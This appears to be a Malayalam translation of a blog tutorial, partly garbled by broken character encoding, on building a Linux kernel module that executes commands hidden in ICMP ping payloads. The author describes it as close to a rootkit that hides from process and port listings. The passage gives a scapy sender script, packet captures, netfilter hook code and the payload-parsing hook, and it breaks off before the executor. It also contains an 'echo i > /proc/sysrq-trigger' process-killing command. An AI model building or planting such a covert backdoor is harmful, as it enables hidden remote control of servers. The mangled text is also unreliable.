เด
เดเตเดเต เดกเดฟ.เดเตผ.: เดเดพเตป เดเดฐเต เดเตเตผเดฃเตฝ เดฎเตเดกเตเดฏเตเตพ เดเดดเตเดคเตเดเดฏเดพเดฃเต, เด
เดคเต ICMP เดชเตเดฒเตเดกเดฟเตฝ เดจเดฟเดจเตเดจเตเดณเตเดณ เดเดฎเดพเตปเดกเตเดเตพ เดตเดพเดฏเดฟเดเตเดเตเดเดฏเตเด เดจเดฟเดเตเดเดณเตเดเต SSH เดเตเดฐเดพเดทเดพเดฏเดพเดฒเตเด เดธเตเตผเดตเดฑเดฟเตฝ เดเดเตเดธเดฟเดเตเดฏเตเดเตเดเต เดเตเดฏเตเดฏเตเดเดฏเตเด เดเตเดฏเตเดฏเตเด. เดเดฑเตเดฑเดตเตเด เด
เดเตเดทเดฎเตผเดเตเดเต, เดเดฒเตเดฒเดพ เดเตเดกเตเด
เดฎเตเดจเตเดจเดฑเดฟเดฏเดฟเดชเตเดชเต! เดชเดฐเดฟเดเดฏเดธเดฎเตเดชเดจเตเดจเดฐเดพเดฏ เดธเดฟ เดชเตเดฐเตเดเตเดฐเดพเดฎเตผเดฎเดพเตผ เดชเตเดเตเดเดฟเดเตเดเดฐเดฏเดพเตป เดธเดพเดงเตเดฏเดคเดฏเตเดฃเตเดเต! เดชเดฆเดพเดตเดฒเดฟเดฏเดฟเตฝ เดชเตเดฒเตเด เดเดจเดฟเดเตเดเต เดคเตเดฑเตเดฑเตเดชเดฑเตเดฑเดฟเดฏเตเดเตเดเดพเด, เดเดจเตเดจเดพเตฝ เดเดคเต เดตเดฟเดฎเตผเดถเดจเดตเตเด เดธเตเดตเดพเดเดคเด เดเตเดฏเตเดฏเตเดจเตเดจเต. เดธเดฟ เดชเตเดฐเตเดเตเดฐเดพเดฎเดฟเดเดเดฟเดจเตเดเตเดเตเดฑเดฟเดเตเดเต เดตเดณเดฐเต เดเดเดฆเตเดถ เดงเดพเดฐเดฃเดฏเตเดณเตเดณเดตเดฐเตเด เดฒเดฟเดจเดเตเดธเดฟเดจเตเดฑเต เดเตพเดตเดถเด เดชเดฐเดฟเดถเตเดงเดฟเดเตเดเดพเตป เดเดเตเดฐเดนเดฟเดเตเดเตเดจเตเดจเดตเดฐเตเดฎเดพเดฏเดตเดฐเต เดเดฆเตเดฆเตเดถเดฟเดเตเดเตเดณเตเดณเดคเดพเดฃเต เดชเตเดธเตเดฑเตเดฑเต.
เดเดจเตเดฑเต เดเดฆเตเดฏเดคเตเดคเต เดเดฎเดจเตเดฑเดฟเตฝ
เด
เดคเต, 2020-เตฝ เดจเดฟเดเตเดเตพเดเตเดเต ICMP เดชเดพเดเตเดเดฑเตเดฑเตเดเดณเดฟเดฒเตเดเตเดเต เดเดฐเต เด
เดจเดฟเดฏเดจเตเดคเตเดฐเดฟเดคเดฎเดพเดฏ เดชเตเดฒเตเดกเต เดเตเตผเดเตเดเดพเตป เดเดดเดฟเดฏเตเดฎเตเดจเตเดจเต เดเดพเตป เดฎเดจเดธเตเดธเดฟเดฒเดพเดเตเดเดฟ. เดเดจเตเดจเดพเตฝ เดเดฐเดฟเดเตเดเดฒเตเด เดตเตเดเดฟเดฏเดคเดฟเดจเตเดเตเดเดพเตพ เดจเดฒเตเดฒเดคเต! เด
เดคเดฟเดจเตเดเตเดเตเดฑเดฟเดเตเดเต เดเดจเตเดคเตเดเตเดเดฟเดฒเตเด เดเตเดฏเตเดฏเดพเตป เดเดดเดฟเดฏเตเดฎเตเดจเตเดจเดคเดฟเดจเดพเตฝ, เด
เดคเต เดเตเดฏเตเดฏเตเดฃเตเดเดคเตเดฃเตเดเต. เดเดจเตเดฑเต เดฆเตเดจเดเดฆเดฟเดจ เดเตเดตเดฟเดคเดคเตเดคเดฟเตฝ เดเดพเตป เดฎเดฟเดเตเดเดชเตเดชเตเดดเตเด เดเดฎเดพเตปเดกเต เดฒเตเตป เดเดชเดฏเตเดเดฟเดเตเดเตเดจเตเดจเดคเดฟเดจเดพเตฝ, SSH เดตเดดเดฟ เดเตพเดชเตเดชเตเดเต, เดเดฐเต ICMP เดทเตเตฝ เดเดจเตเดจ เดเดถเดฏเด เดเดฆเตเดฏเด เดเดจเตเดฑเต เดฎเดจเดธเตเดธเดฟเตฝ เดตเดจเตเดจเต. เดเดฐเต เดธเดฎเตเดชเตเตผเดฃเตเดฃ เดฌเตเตพเดทเตเตฝเดกเต เดฌเดฟเดเตเดเต เดเตเดเตเดเดฟเดเตเดเตเตผเดเตเดเตเดจเตเดจเดคเดฟเดจเต, เดเดจเดฟเดเตเดเต เดเดเดฆเตเดถ เดงเดพเดฐเดฃ เดฎเดพเดคเตเดฐเดฎเตเดณเตเดณ เดเดฐเต เดญเดพเดทเดฏเดฟเตฝ เดเดคเต เดเดฐเต เดฒเดฟเดจเดเตเดธเต เดฎเตเดกเตเดฏเตเดณเดพเดฏเดฟ เดเดดเตเดคเดพเตป เดเดพเตป เดคเตเดฐเตเดฎเดพเดจเดฟเดเตเดเต. เดชเตเดฐเดเตเดฐเดฟเดฏเดเดณเตเดเต เดชเดเตเดเดฟเดเดฏเดฟเตฝ เด
เดคเตเดคเดฐเด เดเดฐเต เดทเตเตฝ เดฆเตเดถเตเดฏเดฎเดพเดเดฟเดฒเตเดฒ, เดจเดฟเดเตเดเตพเดเตเดเต เด
เดคเต เดเตเตผเดฃเดฒเดฟเดฒเตเดเตเดเต เดฒเตเดกเต เดเตเดฏเตเดฏเดพเด, เด
เดคเต เดซเดฏเตฝ เดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเดฟเตฝ เดเดฃเตเดเดพเดเดฟเดฒเตเดฒ, เดฒเดฟเดธเดฃเดฟเดเดเต เดชเตเตผเดเตเดเตเดเดณเตเดเต เดชเดเตเดเดฟเดเดฏเดฟเตฝ เดธเดเดถเดฏเดพเดธเตเดชเดฆเดฎเดพเดฏ เดเดจเตเดจเตเด เดจเดฟเดเตเดเตพ เดเดพเดฃเดฟเดฒเตเดฒ. เด
เดคเดฟเดจเตเดฑเต เดเดดเดฟเดตเตเดเดณเตเดเต เดเดพเดฐเตเดฏเดคเตเดคเดฟเตฝ, เดเดคเตเดฐเต เดชเตเตผเดฃเตเดฃเดฎเดพเดฏ เดฑเตเดเตเดเตเดเดฟเดฑเตเดฑเดพเดฃเต, เดเดจเตเดจเดพเตฝ เดเดคเต เดฎเตเดเตเดเดชเตเดชเตเดเตเดคเตเดคเดพเดจเตเด SSH เดตเดดเดฟ เดฒเตเดเดฟเตป เดเตเดฏเตเดฏเดพเดจเตเด เดเตเดฑเดเตเดเดคเต เดเดเตเดธเดฟเดเตเดฏเตเดเตเดเต เดเตเดฏเตเดฏเดพเดจเตเด เดฒเตเดกเต เดถเดฐเดพเดถเดฐเดฟ เดตเดณเดฐเต เดเตเดเตเดคเดฒเดพเดฏเดฟเดฐเดฟเดเตเดเตเดฎเตเดชเตเตพ เดเดคเต เด
เดตเดธเดพเดจ เดเดถเตเดฐเดฏเดฎเดพเดฏเดฟ เดเดชเดฏเตเดเดฟเดเตเดเตเดฎเตเดจเตเดจเต เดเดพเตป เดชเตเดฐเดคเตเดเตเดทเดฟเดเตเดเตเดจเตเดจเต. echo i > /proc/sysrq-trigger
เดฑเตเดฌเตเดเตเดเต เดเตเดฏเตเดฏเดพเดคเต เดเดเตเดธเดธเต เดชเตเดจเดเดธเตเดฅเดพเดชเดฟเดเตเดเดพเตป.
เดเดเตเดเตพ เดเดฐเต เดเตเดเตเดธเตเดฑเตเดฑเต เดเดกเดฟเดฑเตเดฑเตผ เดเดเตเดเตเดเตเดจเตเดจเต, เดชเตเดคเตเดคเตบ, เดธเดฟ, เดเตเดเดฟเตพ เดเดจเตเดจเดฟเดตเดฏเดฟเดฒเต เด
เดเดฟเดธเตเดฅเดพเดจ เดชเตเดฐเตเดเตเดฐเดพเดฎเดฟเดเดเต เดเดดเดฟเดตเตเดเตพ
เดเตเดฒเดฏเดจเตเดฑเต เดตเดถเด
เดเตเดฒเดฏเดจเตเดฑเต เดญเดพเดเดคเตเดคเดฟเดจเดพเดฏเดฟ เดเดจเดฟเดเตเดเต เดเดเดฆเตเดถเด 80 เดตเดฐเดฟเดเดณเตเดณเตเดณ เดเดฐเต เดธเตเดเตเดฐเดฟเดชเตเดฑเตเดฑเต เดเดดเตเดคเตเดฃเตเดเดฟเดตเดฐเตเดฎเตเดจเตเดจเต เดเดจเดฟเดเตเดเต เดคเตเดจเตเดจเดฟ, เดชเดเตเดทเต เดเดจเดฟเดเตเดเต เดตเตเดฃเตเดเดฟ เด
เดคเต เดเตเดฏเตเดค เดฆเดฏเดฏเตเดณเตเดณ เดเดณเตเดเตพ เดเดฃเตเดเดพเดฏเดฟเดฐเตเดจเตเดจเต.
import sys
from scapy.all import sr1, IP, ICMP
if len(sys.argv) < 3:
print('Usage: {} IP "command"'.format(sys.argv[0]))
exit(0)
p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
p.show()
เดธเตเดเตเดฐเดฟเดชเตเดฑเตเดฑเต เดฐเดฃเตเดเต เดเตผเดเตเดฏเตเดฎเตเดจเตเดฑเตเดเตพ เดเดเตเดเตเดเตเดจเตเดจเต, เดเดฐเต เดตเดฟเดฒเดพเดธเดตเตเด เดชเตเดฒเตเดกเตเด. เด
เดฏเดฏเตโเดเตเดเตเดจเตเดจเดคเดฟเดจเต เดฎเตเดฎเตเดชเต, เดชเตเดฒเตเดกเดฟเดจเต เดฎเตเดฎเตเดชเดพเดฏเดฟ เดเดฐเต เดเต เดจเตฝเดเตเด run:
, เดฑเดพเตปเดกเด เดชเตเดฒเตเดกเตเดเดณเตเดณเตเดณ เดชเดพเดเตเดเตเดเตเดเตพ เดเดดเดฟเดตเดพเดเตเดเดพเตป เดเดเตเดเตพเดเตเดเต เดเดคเต เดเดตเดถเตเดฏเดฎเดพเดฃเต.
เดเตเตผเดฃเดฒเดฟเดจเต เดชเดพเดเตเดเตเดเตเดเตพ เดคเดฏเตเดฏเดพเดฑเดพเดเตเดเดพเตป เดชเตเดฐเดคเตเดฏเตเดเดพเดตเดเดพเดถเดเตเดเตพ เดเดตเดถเตเดฏเดฎเดพเดฃเต, เด
เดคเดฟเดจเดพเตฝ เดธเตเดเตเดฐเดฟเดชเตเดฑเตเดฑเต เดธเตเดชเตเดชเตผ เดฏเตเดธเดฑเดพเดฏเดฟ เดชเตเดฐเดตเตผเดคเตเดคเดฟเดชเตเดชเดฟเดเตเดเตเดฃเตเดเดคเตเดฃเตเดเต. เดเดเตเดธเดฟเดเตเดฏเตเดทเตป เดชเตเตผเดฎเดฟเดทเดจเตเดเตพ เดจเตฝเดเดพเดจเตเด scapy เดคเดจเตเดจเต เดเตปเดธเตเดฑเตเดฑเดพเตพ เดเตเดฏเตเดฏเดพเดจเตเด เดฎเดฑเดเตเดเดฐเตเดคเต. เดกเตเดฌเดฟเดฏเตป เดเดจเตเดจ เดชเตเดฐเดฟเตฝ เดเดฐเต เดชเดพเดเตเดเตเดเต เดเดฃเตเดเต python3-scapy
. เดเดฒเตเดฒเดพเด เดเดเตเดเดจเต เดชเตเดฐเดตเตผเดคเตเดคเดฟเดเตเดเตเดจเตเดจเตเดตเตเดจเตเดจเต เดเดชเตเดชเตเตพ เดจเดฟเดเตเดเตพเดเตเดเต เดชเดฐเดฟเดถเตเดงเดฟเดเตเดเดพเด.
เดเดฎเดพเตปเดกเต เดชเตเดฐเดตเตผเดคเตเดคเดฟเดชเตเดชเดฟเดเตเดเตเดเดฏเตเด เดเดเตเดเตเดชเตเดเตเดเต เดเตเดฏเตเดฏเตเดเดฏเตเด เดเตเดฏเตเดฏเตเดจเตเดจเต
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!
เดธเตเดจเดฟเดซเดฑเดฟเตฝ เดเดเตเดเดจเตเดฏเดพเดฃเต เดเดพเดฃเตเดจเตเดจเดคเต
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct]
[Checksum Status: Good]
Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]
Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct]
[Checksum Status: Good]
Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1]
[Response time: 19.094 ms]
Data (17 bytes)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]
^C2 packets captured
เดชเตเดฐเดคเดฟเดเดฐเดฃ เดชเดพเดเตเดเตเดเดฟเดฒเต เดชเตเดฒเตเดกเต เดฎเดพเดฑเดฟเดฒเตเดฒ.
เดเตเตผเดฃเตฝ เดฎเตเดกเตเดฏเตเตพ
เดเดฐเต เดกเตเดฌเดฟเดฏเตป เดตเตเตผเดเตเดตเตฝ เดฎเตเดทเตเดจเดฟเตฝ เดจเดฟเตผเดฎเตเดฎเดฟเดเตเดเตเดจเตเดจเดคเดฟเดจเต เดจเดฟเดเตเดเตพเดเตเดเต เดเตเดฑเดเตเดเดคเต เดเดตเดถเตเดฏเดฎเดพเดฃเต make
ะธ linux-headers-amd64
, เดฌเดพเดเตเดเดฟเดฏเตเดณเตเดณเดต เดเดถเตเดฐเดฟเดคเดคเตเดตเดคเตเดคเดฟเดจเตเดฑเต เดฐเตเดชเดคเตเดคเดฟเตฝ เดตเดฐเตเด. เดฒเตเดเดจเดคเตเดคเดฟเดฒเต เดฎเตเดดเตเดตเตป เดเตเดกเตเด เดเดพเตป เดจเตฝเดเดฟเดฒเตเดฒ; เดจเดฟเดเตเดเตพเดเตเดเต เด
เดคเต Github-เตฝ เดเตเดฒเตเตบ เดเตเดฏเตเดฏเดพเด.
เดนเตเดเตเดเต เดธเดเตเดเตเดเดฐเดฃเด
เดเดฐเดเดญเดฟเดเตเดเตเดจเตเดจเดคเดฟเดจเต, เดฎเตเดกเตเดฏเตเตพ เดฒเตเดกเตเดเตเดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเตเด เด
เตบเดฒเตเดกเต เดเตเดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเตเด เดเดเตเดเตพเดเตเดเต เดฐเดฃเตเดเต เดซเดเดเตเดทเดจเตเดเตพ เดเดตเดถเตเดฏเดฎเดพเดฃเต. เด
เตบเดฒเตเดกเต เดเตเดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเตเดณเตเดณ เดชเตเดฐเดตเตผเดคเตเดคเดจเด เดเดตเดถเตเดฏเดฎเดฟเดฒเตเดฒ, เดชเดเตเดทเต เดชเดฟเดจเตเดจเตเดเต rmmod
เดเดคเต เดชเตเดฐเดตเตผเดคเตเดคเดฟเดเตเดเดฟเดฒเตเดฒ; เดเดซเต เดเตเดฏเตเดฏเตเดฎเตเดชเตเตพ เดฎเดพเดคเตเดฐเดฎเต เดฎเตเดกเตเดฏเตเตพ เด
เตบเดฒเตเดกเต เดเตเดฏเตเดฏเตเดเดฏเตเดณเตเดณเต.
#include <linux/module.h>
#include <linux/netfilter_ipv4.h>
static struct nf_hook_ops nfho;
static int __init startup(void)
{
nfho.hook = icmp_cmd_executor;
nfho.hooknum = NF_INET_PRE_ROUTING;
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &nfho);
return 0;
}
static void __exit cleanup(void)
{
nf_unregister_net_hook(&init_net, &nfho);
}
MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);
เดเดจเตเดคเดพเดฃเต เดเดตเดฟเดเต เดจเดเดเตเดเตเดจเตเดจเดคเต:
- เดฎเตเดกเตเดฏเตเดณเตเด เดจเตเดฑเตเดฑเตเดซเดฟเตฝเดฑเตเดฑเดฑเตเด เดเตเดเดพเดฐเตเดฏเด เดเตเดฏเตเดฏเดพเตป เดฐเดฃเตเดเต เดนเตเดกเตเดกเตผ เดซเดฏเดฒเตเดเตพ เดตเดฒเดฟเดเตเดเดฟเดเตเดจเตเดจเต.
- เดเดฒเตเดฒเดพ เดชเตเดฐเดตเตผเดคเตเดคเดจเดเตเดเดณเตเด เดเดฐเต เดจเตเดฑเตเดฑเตเดซเดฟเตฝเดเตเดเดฑเดฟเดฒเตเดเต เดเดเดจเตเดจเตเดชเตเดเตเดจเตเดจเต, เดจเดฟเดเตเดเตพเดเตเดเต เด
เดคเดฟเตฝ เดเตเดณเตเดคเตเดคเตเดเตพ เดธเดเตเดเดฎเดพเดเตเดเดพเตป เดเดดเดฟเดฏเตเด. เดเดคเต เดเตเดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเต, เดนเตเดเตเดเต เดเตเตบเดซเดฟเดเตผ เดเตเดฏเตเดฏเตเดจเตเดจ เดเดเดจ เดจเดฟเดเตเดเตพ เดชเตเดฐเดเตเดฏเดพเดชเดฟเดเตเดเตเดฃเตเดเดคเตเดฃเตเดเต. เดเดฐเต เดนเตเดเตเดเต เดเดฏเดฟ เดเดเตเดธเดฟเดเตเดฏเตเดเตเดเต เดเตเดฏเตเดฏเตเดจเตเดจ เดซเดเดเตเดทเตป เดตเตเดฏเดเตเดคเดฎเดพเดเตเดเตเด เดเดจเตเดจเดคเดพเดฃเต เดเดฑเตเดฑเดตเตเด เดชเตเดฐเดงเดพเดจเดชเตเดชเตเดเตเด เดเดพเดฐเตเดฏเด:
nfho.hook = icmp_cmd_executor;
เดเดพเตป เดชเดฟเดจเตเดจเตเดเต เดเดเดเตเดเดฟเดฒเตเดเตเดเต เดตเดฐเดพเด.
เด เดชเตเดชเตเตพ เดเดพเตป เดชเดพเดเตเดเตเดเดฟเดจเดพเดฏเดฟ เดชเตเดฐเตเดธเดธเตเดธเดฟเดเดเต เดธเดฎเดฏเด เดธเดเตเดเดฎเดพเดเตเดเดฟ:NF_INET_PRE_ROUTING
เดเตเตผเดฃเดฒเดฟเตฝ เดเดฆเตเดฏเด เดฆเตเดถเตเดฏเดฎเดพเดเตเดฎเตเดชเตเตพ เดชเดพเดเตเดเตเดเต เดชเตเดฐเตเดธเดธเตเดธเต เดเตเดฏเตเดฏเดพเตป เดตเตเดฏเดเตเดคเดฎเดพเดเตเดเตเดจเตเดจเต. เดเดชเดฏเตเดพเดเดฟเดเตเดเดพเดจเต เดเดดเดฟเดฏเตเดNF_INET_POST_ROUTING
เดเตเตผเดฃเดฒเดฟเตฝ เดจเดฟเดจเตเดจเต เดชเตเดฑเดคเตเดคเตเดเดเดเตเดเตเดฎเตเดชเตเตพ เดชเดพเดเตเดเดฑเตเดฑเต เดชเตเดฐเตเดธเดธเตเดธเต เดเตเดฏเตเดฏเดพเตป.
เดเดพเตป เดซเดฟเตฝเดเตเดเตผ IPv4 เดเดฏเดฟ เดธเดเตเดเตเดเดฐเดฟเดเตเดเต:nfho.pf = PF_INET;
.
เดเดพเตป เดเดจเตเดฑเต เดนเตเดเตเดเดฟเดจเต เดเดฑเตเดฑเดตเตเด เดฎเตเตปเดเดฃเดจ เดจเตฝเดเตเดจเตเดจเต:nfho.priority = NF_IP_PRI_FIRST;
เดเดพเตป เดกเดพเดฑเตเดฑ เดเดเดจเดฏเต เดฏเดฅเดพเตผเดคเตเดฅ เดนเตเดเตเดเต เดเดฏเดฟ เดฐเดเดฟเดธเตเดฑเตเดฑเตผ เดเตเดฏเตเดฏเตเดจเตเดจเต:nf_register_net_hook(&init_net, &nfho);
- เด เดจเตเดคเดฟเดฎ เดชเตเดฐเดตเตผเดคเตเดคเดจเด เดนเตเดเตเดเต เดจเตเดเตเดเดเดเตเดฏเตเดฏเตเดจเตเดจเต.
- เดเดเดชเตเดฒเตผ เดชเดฐเดพเดคเดฟเดชเตเดชเตเดเดพเดคเดฟเดฐเดฟเดเตเดเดพเตป เดฒเตเดธเตปเดธเต เดตเตเดฏเดเตเดคเดฎเดพเดฏเดฟ เดธเตเดเดฟเดชเตเดชเดฟเดเตเดเดฟเดฐเดฟเดเตเดเตเดจเตเดจเต.
- เดซเดเตเดทเดจเตเดเตพ
module_init()
ะธmodule_exit()
เดฎเตเดกเตเดฏเตเตพ เดเดฐเดเดญเดฟเดเตเดเตเดจเตเดจเดคเดฟเดจเตเด เด เดตเดธเดพเดจเดฟเดชเตเดชเดฟเดเตเดเตเดจเตเดจเดคเดฟเดจเตเด เดฎเดฑเตเดฑเต เดซเดเดเตเดทเดจเตเดเตพ เดธเดเตเดเดฎเดพเดเตเดเตเด.
เดชเตเดฒเตเดกเต เดตเตเดฃเตเดเตเดเตเดเตเดเตเดจเตเดจเต
เดเดชเตเดชเตเตพ เดจเดฎเตเดเตเดเต เดชเตเดฒเตเดกเต เดเดเตโเดธเตโเดเตเดฐเดพเดเตโเดฑเตเดฑเต เดเตเดฏเตเดฏเตเดฃเตเดเดคเตเดฃเตเดเต, เดเดคเต เดเดฑเตเดฑเดตเตเด เดฌเตเดฆเตเดงเดฟเดฎเตเดเตเดเตเดณเตเดณ เดเดพเดฐเตเดฏเดฎเดพเดฏเดฟ เดฎเดพเดฑเดฟ. เดชเตเดฒเตเดกเตเดเตพเดเตเดเตเดชเตเดชเด เดชเตเดฐเดตเตผเดคเตเดคเดฟเดเตเดเตเดจเตเดจเดคเดฟเดจเต เดเตเตผเดฃเดฒเดฟเดจเต เดฌเดฟเตฝเดฑเตเดฑเต-เดเตป เดซเดเดเตเดทเดจเตเดเตพ เดเดฒเตเดฒ; เดจเดฟเดเตเดเตพเดเตเดเต เดเดฏเตผเดจเตเดจ เดคเดฒเดคเตเดคเดฟเดฒเตเดณเตเดณ เดชเตเดฐเตเดเตเดเตเดเตเดเตเดณเตเดเดณเตเดเต เดคเดฒเดเตเดเตเดเตเดเตเดเตพ เดฎเดพเดคเตเดฐเดฎเต เดชเดพเดดเตโเดธเต เดเตเดฏเตเดฏเดพเตป เดเดดเดฟเดฏเต.
#include <linux/ip.h>
#include <linux/icmp.h>
#define MAX_CMD_LEN 1976
char cmd_string[MAX_CMD_LEN];
struct work_struct my_work;
DECLARE_WORK(my_work, work_handler);
static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
struct iphdr *iph;
struct icmphdr *icmph;
unsigned char *user_data;
unsigned char *tail;
unsigned char *i;
int j = 0;
iph = ip_hdr(skb);
icmph = icmp_hdr(skb);
if (iph->protocol != IPPROTO_ICMP) {
return NF_ACCEPT;
}
if (icmph->type != ICMP_ECHO) {
return NF_ACCEPT;
}
user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
tail = skb_tail_pointer(skb);
j = 0;
for (i = user_data; i != tail; ++i) {
char c = *(char *)i;
cmd_string[j] = c;
j++;
if (c == '')
break;
if (j == MAX_CMD_LEN) {
cmd_string[j] = '';
break;
}
}
if (strncmp(cmd_string, "run:", 4) != 0) {
return NF_ACCEPT;
} else {
for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
cmd_string[j] = cmd_string[j+4];
if (cmd_string[j] == '')
break;
}
}
schedule_work(&my_work);
return NF_ACCEPT;
}
เดเดจเตเดคเดพเดฃเต เดธเดเดญเดตเดฟเดเตเดเตเดจเตเดจเดคเต:
- IP, ICMP เดคเดฒเดเตเดเตเดเตเดเตเดเตพ เดเตเดเดพเดฐเตเดฏเด เดเตเดฏเตเดฏเดพเตป เดเดจเดฟเดเตเดเต เด เดงเดฟเด เดนเตเดกเตผ เดซเดฏเดฒเตเดเตพ เดเตพเดชเตเดชเตเดเตเดคเตเดคเตเดฃเตเดเดฟ เดตเดจเตเดจเต.
- เดเดพเตป เดชเดฐเดฎเดพเดตเดงเดฟ เดตเดฐเดฟ เดฆเตเตผเดเตเดฏเด เดธเดเตเดเดฎเดพเดเตเดเดฟ:
#define MAX_CMD_LEN 1976
. เดเดจเตเดคเตเดเตเดฃเตเดเดพเดฃเต เดเดคเต เดเตเดคเตเดฏเดฎเดพเดฏเดฟ? เดเดพเดฐเดฃเด เดเดเดชเตเดฒเตผ เด เดคเดฟเดจเตเดเตเดเตเดฑเดฟเดเตเดเต เดชเดฐเดพเดคเดฟเดชเตเดชเตเดเตเดจเตเดจเต! เดเดจเดฟเดเตเดเต เดธเตเดฑเตเดฑเดพเดเตเดเตเด เดเตเดฎเตเดชเดพเดฐเดตเตเด เดฎเดจเดธเดฟเดฒเดพเดเตเดเดฃเดฎเตเดจเตเดจเต เด เดตเตผ เดเดคเดฟเดจเดเด เดเดจเตเดจเตเดเต เดจเดฟเตผเดฆเตเดฆเตเดถเดฟเดเตเดเดฟเดเตเดเตเดฃเตเดเต, เดเดจเตเดจเตเดเตเดเดฟเดฒเตเด เดเดพเตป เดคเตเตผเดเตเดเดฏเดพเดฏเตเด เดเดคเต เดเตเดฏเตเดฏเตเด, เดเดฐเตเดชเดเตเดทเต เดเตเดกเต เดถเดฐเดฟเดฏเดพเดเตเดเดพเด. เดเดฎเดพเตปเดกเต เด เดเดเตเดเดฟเดฏเดฟเดฐเดฟเดเตเดเตเดจเตเดจ เดฒเตเตป เดเดพเตป เดเดเตป เดธเดเตเดเดฎเดพเดเตเดเดฟ:char cmd_string[MAX_CMD_LEN];
. เดเดคเต เดเดฒเตเดฒเดพ เดซเดเดเตเดทเดจเตเดเดณเดฟเดฒเตเด เดฆเตเดถเตเดฏเดฎเดพเดฏเดฟเดฐเดฟเดเตเดเดฃเด; เดเดฃเตเดกเดฟเด 9 เตฝ เดเดพเตป เดเดคเดฟเดจเตเดเตเดเตเดฑเดฟเดเตเดเต เดเตเดเตเดคเตฝ เดตเดฟเดถเดฆเดฎเดพเดฏเดฟ เดธเดเดธเดพเดฐเดฟเดเตเดเตเด. - เดเดชเตเดชเตเตพ เดจเดฎเตเดฎเตพ เดเดฐเดเดญเดฟเดเตเดเตเดฃเตเดเดคเตเดฃเตเดเต (
struct work_struct my_work;
) เดเดเดจเดฏเตเด เดฎเดฑเตเดฑเตเดฐเต เดซเดเดเตเดทเดจเตเดฎเดพเดฏเดฟ เดฌเดจเตเดงเดฟเดชเตเดชเดฟเดเตเดเตเด (DECLARE_WORK(my_work, work_handler);
). เดเดฎเตเดชเดคเดพเด เดเดฃเตเดกเดฟเดเดฏเดฟเตฝ เดเดคเต เดเดจเตเดคเตเดเตเดฃเตเดเต เดเดตเดถเตเดฏเดฎเดพเดฃเต เดเดจเตเดจเดคเดฟเดจเตเดเตเดเตเดฑเดฟเดเตเดเตเด เดเดพเตป เดธเดเดธเดพเดฐเดฟเดเตเดเตเด. - เดเดชเตเดชเตเตพ เดเดพเตป เดเดฐเต เดซเดเดเตเดทเตป เดชเตเดฐเดเตเดฏเดพเดชเดฟเดเตเดเตเดจเตเดจเต, เด
เดคเต เดเดฐเต เดนเตเดเตเดเต เดเดฏเดฟเดฐเดฟเดเตเดเตเด. เดคเดฐเดตเตเด เดธเตเดตเตเดเดพเดฐเตเดฏเดฎเดพเดฏ เดเตผเดเตเดฏเตเดฎเตเดจเตเดฑเตเดเดณเตเด เดจเตเดฑเตเดฑเตเดซเดฟเตฝเดฑเตเดฑเตผ เดจเดฟเตผเดฆเตเดฆเตเดถเดฟเดเตเดเตเดจเตเดจเต, เดเดเตเดเตพเดเตเดเต เดคเดพเตฝเดชเตเดชเดฐเตเดฏเดฎเตเดณเตเดณเดคเต เดฎเดพเดคเตเดฐเดฎเดพเดฃเต
skb
